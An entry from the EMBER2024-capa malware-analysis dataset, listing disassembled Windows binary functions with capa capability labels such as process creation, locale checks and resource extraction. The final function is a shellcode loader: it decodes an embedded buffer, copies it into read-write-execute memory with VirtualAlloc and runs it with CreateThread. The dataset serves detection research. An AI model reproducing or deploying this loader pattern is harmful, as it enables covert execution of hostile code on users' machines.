joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000088e4
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r13
push r14
sub rsp, 0x20
mov r13, rcx
mov r12d, edx
lea rcx, [0x100015560]
xor edx, edx
xor ebx, ebx
call fcn.100010e54
lea r14d, [rbx + 1]
mov ebp, r14d
jmp 0x1000089ca
test rbx, rbx
jne 0x1000089d6
mov eax, r12d
lea edx, [rbx + 6]
xor r9d, r9d
shr eax, 4
mov rcx, rsi
add ax, r14w
movzx r8d, ax
call qword [sym.imp.KERNEL32.dll_FindResourceExW]
mov rbx, rax
test rax, rax
je 0x1000089b9
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
jne 0x100008966
xor ebx, ebx
jmp 0x1000089b4
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rdi, rax
test rax, rax
je 0x100008962
mov rdx, rbx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, r12d
mov r11d, eax
add r11, rdi
and ecx, 0xf
jbe 0x1000089a3
cmp rdi, r11
jae 0x100008962
add ecx, 0xffffffff
movzx eax, word [rdi]
lea rdi, [rdi + rax*2 + 2]
jne 0x100008991
cmp rdi, r11
jae 0x100008962
movzx eax, word [rdi]
neg ax
sbb rbx, rbx
and rbx, rdi
test rbx, rbx
jne 0x1000089d8
lea rcx, [0x100015560]
mov edx, ebp
call fcn.100010e54
add ebp, r14d
mov rsi, rax
test rax, rax
jne 0x100008923
xor esi, esi
test rsi, rsi
jne 0x1000089e1
xor eax, eax
jmp 0x1000089ef
mov r8d, r12d
mov rdx, rsi
mov rcx, r13
call fcn.100004860
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x20
pop r14
pop r13
pop r12
ret
Function at 0x100009818
Capabilities:
Create process on windows
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
push rsi
sub rsp, 0x350
mov rax, qword [0x100015138]
xor rax, rsp
mov qword [rsp + 0x340], rax
mov rax, qword [0x100015100]
lea rcx, [0x100015100]
call qword [rax + 0x18]
mov rdx, qword [0x100015570]
lea rcx, [rsp + 0x50]
add rax, 0x18
mov r8d, 0x6c
mov qword [rsp + 0x50], rax
call fcn.100004860
mov rax, qword [0x100015100]
lea rcx, [0x100015100]
call qword [rax + 0x18]
mov rdx, qword [0x100015570]
lea rcx, [rsp + 0x58]
add rax, 0x18
mov r8d, 0x64
mov qword [rsp + 0x58], rax
call fcn.100004860
call fcn.10000e354
mov rbx, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x50]
mov r9d, eax
mov r8, rbx
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
lea rcx, [rsp + 0x132]
xor esi, esi
xor edx, edx
mov r8d, 0x206
mov word [rsp + 0x130], si
call sub.msvcrt.dll_memset
lea rcx, [rsp + 0x130]
mov edx, 0x104
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea r8, [0x100003738]
lea rcx, [rsp + 0x130]
mov edx, 0x104
call fcn.10000d738
lea rcx, [rsp + 0xf0]
lea rdx, [0x100003758]
lea r8d, [rsi + 0x38]
call sub.msvcrt.dll_memcpy
xor eax, eax
lea r8d, [rsi + 0x60]
lea rcx, [rsp + 0x88]
xor edx, edx
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], rax
call sub.msvcrt.dll_memset
lea rax, [rsp + 0x60]
lea rdx, [rsp + 0xf0]
lea rcx, [rsp + 0x130]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x80]
xor r9d, r9d
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
xor r8d, r8d
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x80], 0x68
mov dword [rsp + 0x20], esi
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rbx - 0x18]
or ebx, 0xffffffff
mov eax, ebx
lock xadd dword [rdx + 0x10], eax
add eax, ebx
cmp eax, esi
jg 0x1000099c0
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
mov rdx, qword [rsp + 0x50]
mov eax, ebx
add rdx, 0xffffffffffffffe8
lock xadd dword [rdx + 0x10], eax
add eax, ebx
cmp eax, esi
jg 0x1000099df
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
mov rcx, qword [rsp + 0x340]
xor rcx, rsp
call fcn.1000115c0
mov rbx, qword [rsp + 0x360]
add rsp, 0x350
pop rsi
ret
Function at 0x10000e19c
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x240
mov rax, qword [0x100015138]
xor rax, rsp
mov qword [rsp + 0x230], rax
mov rdx, rcx
lea rcx, [rsp + 0x20]
call fcn.10000885c
mov rdi, qword [rsp + 0x20]
xor esi, esi
or rbx, 0xffffffffffffffff
cmp dword [rdi - 0x10], esi
jne 0x10000e22c
lea rcx, [rsp + 0x42]
xor edx, edx
mov r8d, 0x1ea
mov word [rsp + 0x40], si
call sub.msvcrt.dll_memset
lea rdx, [rsp + 0x40]
mov ecx, 0xf6
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
xor eax, eax
lea rdi, [rsp + 0x40]
mov rcx, rbx
lea rdx, [rsp + 0x40]
repne scasw ax, word [rdi]
not rcx
lea r8d, [rcx - 1]
lea rcx, [rsp + 0x20]
call fcn.1000054e4
mov rdi, qword [rsp + 0x20]
lea r9, [rsp + 0x30]
lea r8, [rsp + 0x38]
lea rdx, [rsp + 0x28]
mov rcx, rdi
call qword [sym.imp.SHELL32.dll_SHGetDiskFreeSpaceExW]
cmp eax, esi
je 0x10000e28a
cmp dword [rsp + 0x2c], esi
jbe 0x10000e26f
lea rdx, [rdi - 0x18]
mov ecx, ebx
lock xadd dword [rdx + 0x10], ecx
add ecx, ebx
cmp ecx, esi
jg 0x10000e268
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
mov eax, 1
jmp 0x10000e2a6
cmp dword [rsp + 0x28], 0x100000
jbe 0x10000e28a
lea rdx, [rdi - 0x18]
mov eax, ebx
lock xadd dword [rdx + 0x10], eax
add eax, ebx
cmp eax, esi
jmp 0x10000e25d
lea rdx, [rdi - 0x18]
mov eax, ebx
lock xadd dword [rdx + 0x10], eax
add eax, ebx
cmp eax, esi
jg 0x10000e2a4
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
xor eax, eax
mov rcx, qword [rsp + 0x230]
xor rcx, rsp
call fcn.1000115c0
lea r11, [rsp + 0x240]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret

Function at 0x10000e354
Capabilities:
Get geographical location
Identify system language via api

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x50
mov rax, qword [0x100015138]
xor rax, rsp
mov qword [rsp + 0x48], rax
call qword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
xor edi, edi
movzx ebx, ax
cmp ax, di
je 0x10000e3ce
xor eax, eax
lea r8, [rsp + 0x20]
lea rcx, [0x10000e2d4]
xor edx, edx
mov word [rsp + 0x20], bx
mov dword [rsp + 0x24], eax
call qword [sym.imp.KERNEL32.dll_EnumUILanguagesW]
cmp dword [rsp + 0x24], edi
je 0x10000e3ce
lea r9d, [rdi + 0x10]
lea r8, [rsp + 0x28]
lea edx, [rdi + 0x58]
movzx ecx, bx
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
cmp eax, edi
je 0x10000e3ce
mov eax, 0x800
test word [rsp + 0x36], ax
je 0x10000e3ce
mov eax, 0x180000
jmp 0x10000e3d0
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1000115c0
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rdi
ret
Function at 0x100010468
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
sub rsp, 0x620
mov rax, qword [0x100015138]
xor rax, rsp
mov qword [rsp + 0x610], rax
mov rbx, rcx
lea rcx, [rsp + 0x212]
xor ebp, ebp
xor edx, edx
mov r8d, 0x1fe
mov word [rsp + 0x210], bp
call sub.msvcrt.dll_memset
mov rcx, qword [0x100015570]
lea r8, [rsp + 0x210]
lea edx, [rbp + 0x6d]
mov r9d, 0x100
call qword [sym.imp.USER32.dll_LoadStringW]
lea rcx, [rsp + 0x22]
xor edx, edx
mov r8d, 0x1ea
mov word [rsp + 0x20], bp
call sub.msvcrt.dll_memset
lea rdx, [rsp + 0x20]
mov ecx, 0xf6
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
lea rcx, [rsp + 0x412]
xor edx, edx
mov r8d, 0x1fe
mov word [rsp + 0x410], bp
call sub.msvcrt.dll_memset
lea r9, [rsp + 0x20]
lea r8, [rsp + 0x210]
lea rcx, [rsp + 0x410]
mov edx, 0x100
call fcn.100008ad0
lea rdx, [rsp + 0x410]
mov rcx, rbx
call fcn.1000106d4
mov rcx, qword [rsp + 0x610]
xor rcx, rsp
call fcn.1000115c0
mov rbx, qword [rsp + 0x638]
add rsp, 0x620
pop rbp
ret

Function at 0x100010564
Capabilities:
Create process on windows
Get common file path

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x340
mov rax, qword [0x100015138]
xor rax, rsp
mov qword [rsp + 0x330], rax
mov rax, qword [0x100015100]
mov rdi, rcx
lea rcx, [0x100015100]
mov ebx, edx
call qword [rax + 0x18]
mov rdx, qword [0x100015570]
add rax, 0x18
lea rcx, [rsp + 0x50]
mov r8d, ebx
mov qword [rsp + 0x50], rax
call fcn.100004860
mov rbx, qword [rsp + 0x50]
mov rdx, rbx
mov rcx, rdi
call fcn.1000106d4
mov edi, 0x104
lea rcx, [rsp + 0x120]
mov edx, edi
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea r8, [0x100003738]
lea rcx, [rsp + 0x120]
mov rdx, rdi
call fcn.10000d738
lea rcx, [rsp + 0xe0]
lea rdx, [0x100003758]
mov r8d, 0x38
call sub.msvcrt.dll_memcpy
xor eax, eax
xor edi, edi
lea rcx, [rsp + 0x78]
lea r8d, [rdi + 0x60]
xor edx, edx
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rax
call sub.msvcrt.dll_memset
lea rax, [rsp + 0x58]
lea rdx, [rsp + 0xe0]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x70]
lea rcx, [rsp + 0x120]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
mov dword [rsp + 0x70], 0x68
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rbx - 0x18]
or eax, 0xffffffff
lock xadd dword [rdx + 0x10], eax
dec eax
cmp eax, edi
jg 0x1000106aa
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
mov rcx, qword [rsp + 0x330]
xor rcx, rsp
call fcn.1000115c0
mov rbx, qword [rsp + 0x360]
add rsp, 0x340
pop rdi
ret
Function at 0x100010b24
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rcx, qword [0x100015ca8]
test rcx, rcx
jne 0x100010b4a
call fcn.100010bd8
test eax, eax
je 0x100010b71
mov rcx, qword [0x100015ca8]
call qword [sym.imp.KERNEL32.dll_InterlockedPopEntrySList]
test rax, rax
jne 0x100010bc5
mov edx, 0x1000
lea r9d, [rax + 0x40]
xor ecx, ecx
mov r8d, edx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
jne 0x100010b75
xor eax, eax
jmp 0x100010bc5
mov eax, dword [rax]
mov rcx, qword [0x100015ca8]
call qword [sym.imp.KERNEL32.dll_InterlockedPopEntrySList]
mov rdi, rax
test rax, rax
je 0x100010ba2
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rax, rdi
jmp 0x100010bc5
lea rdi, [rbx + 0xfe0]
mov rcx, qword [0x100015ca8]
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_InterlockedPushEntrySList]
add rbx, 0x20
cmp rbx, rdi
jb 0x100010ba9
mov rax, rbx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x100010c60
Capabilities:
Get geographical location
Identify system language via api

Disassembly:
push rbx
sub rsp, 0x50
mov rax, qword [0x100015138]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov eax, dword [0x100015544]
cmp eax, 0xffffffff
jne 0x100010d07
xor ebx, ebx
mov dword [0x100015544], ebx
call qword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
mov word [0x100015df4], ax
cmp ax, bx
je 0x100010d01
lea r9d, [rbx + 0x10]
lea r8, [rsp + 0x28]
lea edx, [rbx + 0x58]
movzx ecx, ax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
cmp eax, ebx
je 0x100010d01
mov eax, 0x800
test word [rsp + 0x36], ax
je 0x100010d01
xor eax, eax
lea r8, [rsp + 0x20]
lea rcx, [0x10000e2d4]
mov dword [rsp + 0x24], eax
movzx eax, word [0x100015df4]
xor edx, edx
mov word [rsp + 0x20], ax
call qword [sym.imp.KERNEL32.dll_EnumUILanguagesW]
mov eax, dword [0x100015544]
cmp dword [rsp + 0x24], ebx
lea ecx, [rbx + 1]
cmovne eax, ecx
mov dword [0x100015544], eax
jmp 0x100010d07
mov eax, dword [0x100015544]
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1000115c0
add rsp, 0x50
pop rbx
ret
Function at 0x100010ed8
Capabilities:
Check os version

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0xd0
mov rax, qword [0x100015138]
xor rax, rsp
mov qword [rsp + 0xc0], rax
xor edx, edx
mov rbx, rcx
lea r8d, [rdx + 0x28]
add rcx, r8
call sub.msvcrt.dll_memset
and qword [rbx + 0x50], 0
and dword [rbx + 0x58], 0
and dword [rbx + 0x5c], 0
lea rax, [0x100000000]
mov esi, 0x94
lea rcx, [rsp + 0x20]
mov r8, rsi
xor edx, edx
mov qword [rbx + 0x10], rax
mov qword [rbx + 8], rax
mov dword [rbx], 0x60
mov byte [rbx + 0x18], 0
call sub.msvcrt.dll_memset
lea rcx, [rsp + 0x20]
mov dword [rsp + 0x20], esi
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [rsp + 0x30], 2
mov esi, 1
jne 0x100010f6b
cmp dword [rsp + 0x24], 5
jb 0x100010f85
jmp 0x100010f81
cmp dword [rsp + 0x30], esi
jne 0x100010f85
cmp dword [rsp + 0x24], 4
ja 0x100010f81
jne 0x100010f85
cmp dword [rsp + 0x28], 0
jbe 0x100010f85
mov byte [rbx + 0x18], sil
lea rax, [0x1000017d0]
lea rcx, [rbx + 0x28]
mov dword [rbx + 0x1c], 0x800
mov qword [rbx + 0x20], rax
call fcn.100005864
movzx ecx, byte [0x100015d80]
test eax, eax
mov rax, rbx
cmovs ecx, esi
mov byte [0x100015d80], cl
mov rcx, qword [rsp + 0xc0]
xor rcx, rsp
call fcn.1000115c0
lea r11, [rsp + 0xd0]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret

Function at 0x1000115c0
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x100015138]
jne 0x1000115db
rol rcx, 0x10
test cx, 0xffff
jne 0x1000115d7
ret 0
ror rcx, 0x10
jmp 0x100011ad0
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x1000157c0]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov r11, qword [0x1000158b8]
mov qword [rsp + 0x58], r11
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x100011b55
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x1000157c0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x100011b77
mov rax, qword [rsp + 0x88]
mov qword [0x1000158b8], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x100015858], rax
mov rax, qword [0x1000158b8]
mov qword [0x100015730], rax
mov rax, qword [rsp + 0x90]
mov qword [0x100015840], rax
mov dword [0x100015720], 0xc0000409
mov dword [0x100015724], 1
mov rax, qword [0x100015138]
mov qword [rsp + 0x68], rax
mov rax, qword [0x100015140]
mov qword [rsp + 0x70], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x1000018b0]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x10001196c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x18
xor edx, edx
cmp rcx, rdx
je 0x1000119b9
cmp rcx, 0xffffffffffffffff
je 0x1000119b9
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1000119b1
cmp dword [rcx + 0x3c], edx
jl 0x1000119b1
cmp dword [rcx + 0x3c], 0x10000000
jae 0x1000119b1
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
mov qword [rsp], rax
cmp dword [rax], 0x4550
cmovne rax, rdx
mov rdx, rax
mov qword [rsp], rax
jmp 0x1000119b9
mov rax, rdx
add rsp, 0x18
ret

Function at 0x100011c04
Capabilities:
Print debug messages

Disassembly:
push rbx
sub rsp, 0x530
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rbx, qword [rsp + 0x158]
lea rdx, [rsp + 0x40]
mov rcx, rbx
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_RtlLookupFunctionEntry]
test rax, rax
je 0x100011c6f
and qword [rsp + 0x38], 0
mov rdx, qword [rsp + 0x40]
lea rcx, [rsp + 0x48]
mov qword [rsp + 0x30], rcx
lea rcx, [rsp + 0x50]
mov r9, rax
mov qword [rsp + 0x28], rcx
lea rcx, [rsp + 0x60]
mov r8, rbx
mov qword [rsp + 0x20], rcx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_RtlVirtualUnwind]
jmp 0x100011c8f
mov rax, qword [rsp + 0x538]
mov qword [rsp + 0x158], rax
lea rax, [rsp + 0x538]
mov qword [rsp + 0xf8], rax
lea rcx, [0x1000018c0]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
add rsp, 0x530
pop rbx
ret
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x1400046d0]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x1400046e0]
mov dword [rax], 1
mov rax, qword [0x1400046f0]
mov dword [rax], 1
mov rax, qword [0x140004660]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x1400046c0]
mov dword [0x14000700c], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call sym.__p__fmode
mov rdx, qword [0x140004790]
mov edx, dword [rdx]
mov dword [rax], edx
call sym.__p__commode
mov rdx, qword [0x140004770]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x140004640]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a
Function at 0x140001180
Capabilities:
Terminate process

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rbx, qword [0x140004710]
mov rdi, qword [sym.imp.KERNEL32.dll_Sleep]
mov rax, qword gs:[0x30]
mov rsi, qword [rax + 8]
jmp 0x1400011c0
cmp rsi, rax
je 0x140001318
mov ecx, 0x3e8
call rdi
xor eax, eax
lock cmpxchg qword [rbx], rsi
jne 0x1400011b0
mov rsi, qword [0x140004720]
xor edi, edi
mov eax, dword [rsi]
cmp eax, 1
je 0x14000132f
mov eax, dword [rsi]
test eax, eax
je 0x140001390
mov dword [0x140007008], 1
mov eax, dword [rsi]
cmp eax, 1
je 0x140001344
test edi, edi
je 0x140001365
mov rax, qword [0x140004690]
mov rax, qword [rax]
test rax, rax
je 0x14000121f
xor r8d, r8d
mov edx, 2
xor ecx, ecx
call rax
call dbg._pei386_runtime_relocator
mov rcx, qword [dbg._gnu_exception_handler]
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rdx, qword [0x140004700]
lea rcx, [dbg.__mingw_invalidParameterHandler]
mov qword [rdx], rax
call sym._set_invalid_parameter_handler
call dbg._fpreset
mov ebx, dword [0x140007028]
lea edi, [rbx + 1]
movsxd rdi, edi
shl rdi, 3
mov rcx, rdi
call sym.malloc
mov r12, qword [0x140007020]
mov rbp, rax
test ebx, ebx
jle 0x1400013b0
sub rdi, 8
xor ebx, ebx
nop dword [rax]
mov rcx, qword [r12 + rbx]
call sym.strlen
lea rsi, [rax + 1]
mov rcx, rsi
call sym.malloc
mov r8, rsi
mov qword [rbp + rbx], rax
mov rdx, qword [r12 + rbx]
mov rcx, rax
add rbx, 8
call sym.memcpy
cmp rdi, rbx
jne 0x140001280
add rdi, rbp
mov qword [rdi], 0
mov qword [0x140007020], rbp
call dbg.__main
call dbg.__p___initenv
mov r8, qword [0x140007018]
mov ecx, dword [0x140007028]
mov qword [rax], r8
mov rdx, qword [0x140007020]
call dbg.main
mov ecx, dword [0x14000700c]
mov dword [0x140007010], eax
test ecx, ecx
je 0x1400013b8
mov edx, dword [0x140007008]
test edx, edx
je 0x140001370
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rsi, qword [0x140004720]
mov edi, 1
mov eax, dword [rsi]
cmp eax, 1
jne 0x1400011dd
mov ecx, 0x1f
call dbg._amsg_exit
mov eax, dword [rsi]
cmp eax, 1
jne 0x1400011fc
mov rdx, qword [0x140004740]
mov rcx, qword [0x140004730]
call sym._initterm
mov dword [rsi], 2
test edi, edi
jne 0x140001204
xor eax, eax
xchg qword [rbx], rax
jmp 0x140001204
call sym._cexit
mov eax, dword [0x140007010]
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rdx, qword [0x140004760]
mov rcx, qword [0x140004750]
mov dword [rsi], 1
call sym._initterm
jmp 0x1400011f1
mov rdi, rax
jmp 0x1400012b5
mov ecx, eax
call sym.exit
nop
Function at 0x14000155d
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode
Write file on windows

Disassembly:
push rbp
push rdi
push rsi
sub rsp, 0x580
lea rbp, [rsp + 0x80]
call dbg.__main
mov ecx, 0
call sub.api_ms_win_crt_time_l1_1_0.dll__time64
mov ecx, eax
call sym.srand
mov qword [rbp + 0x4f0], 0x100000
mov rax, qword [rbp + 0x4f0]
mov rcx, rax
call sym.malloc
mov qword [rbp + 0x4e8], rax
cmp qword [rbp + 0x4e8], 0
jne 0x1400015e5
mov ecx, 2
mov rax, qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
call rax
mov r9, rax
mov r8d, 0x2f
mov edx, 1
lea rax, str.Error_al_asignar_memoria_para_datos_aleatorios_n
mov rcx, rax
call sym.fwrite
mov eax, 1
jmp 0x14000180b
mov rdx, qword [rbp + 0x4f0]
mov rax, qword [rbp + 0x4e8]
mov rcx, rax
call dbg.generate_random_data
mov rdx, qword [rbp + 0x4f0]
mov rax, qword [rbp + 0x4e8]
mov rcx, rax
call dbg.process_and_print_random_data
mov rax, qword [rbp + 0x4e8]
mov rcx, rax
call sym.free
lea rax, [rbp + 0x240]
lea rdx, [0x140004048]
mov ecx, 0x51
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
movzx ecx, word [rdx]
mov word [rax], cx
lea rax, [rax + 2]
lea rdx, [rdx + 2]
movzx ecx, byte [rdx]
mov byte [rax], cl
lea rdx, [rbp - 0x50]
mov eax, 0
mov ecx, 0x51
mov rdi, rdx
rep stosq qword [rdi], rax
mov rdx, rdi
mov word [rdx], ax
add rdx, 2
mov byte [rdx], al
add rdx, 1
mov dword [rbp + 0x4fc], 0
jmp 0x1400016e4
mov eax, dword [rbp + 0x4fc]
cdqe
movzx eax, byte [rbp + rax + 0x240]
cmp al, 0xc
jg 0x1400016bc
mov eax, dword [rbp + 0x4fc]
cdqe
movzx eax, byte [rbp + rax + 0x240]
sub eax, 0xd
mov edx, eax
mov eax, dword [rbp + 0x4fc]
cdqe
mov byte [rbp + rax - 0x50], dl
jmp 0x1400016dd
mov eax, dword [rbp + 0x4fc]
cdqe
movzx eax, byte [rbp + rax + 0x240]
sub eax, 0xd
mov edx, eax
mov eax, dword [rbp + 0x4fc]
cdqe
mov byte [rbp + rax - 0x50], dl
add dword [rbp + 0x4fc], 1
cmp dword [rbp + 0x4fc], 0x28a
jle 0x140001685
mov dword [rbp + 0x4f8], 0
jmp 0x140001753
cmp dword [rbp + 0x4f8], 0x28a
jne 0x14000172b
mov eax, dword [rbp + 0x4f8]
cdqe
movzx eax, byte [rbp + rax - 0x50]
movzx eax, al
mov edx, eax
lea rax, str.0x_02x
mov rcx, rax
call dbg.printf
jmp 0x14000174c
mov eax, dword [rbp + 0x4f8]
cdqe
movzx eax, byte [rbp + rax - 0x50]
movzx eax, al
mov edx, eax
lea rax, str.0x_02x_
mov rcx, rax
call dbg.printf
add dword [rbp + 0x4f8], 1
mov eax, dword [rbp + 0x4f8]
cmp eax, 0x28a
jbe 0x1400016fc
mov ecx, 0xa
call sym.putchar
mov dword [rbp + 0x4e4], 0
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x28b
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x4d8], rax
lea rdx, [rbp - 0x50]
mov rax, qword [rbp + 0x4d8]
mov r8d, 0x28b
mov rcx, rax
call sym.memmove
mov rax, qword [rbp + 0x4d8]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8, rax
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp + 0x4d0], rax
mov rax, qword [rbp + 0x4d0]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov eax, 0
add rsp, 0x580
pop rsi
pop rdi
pop rbp
ret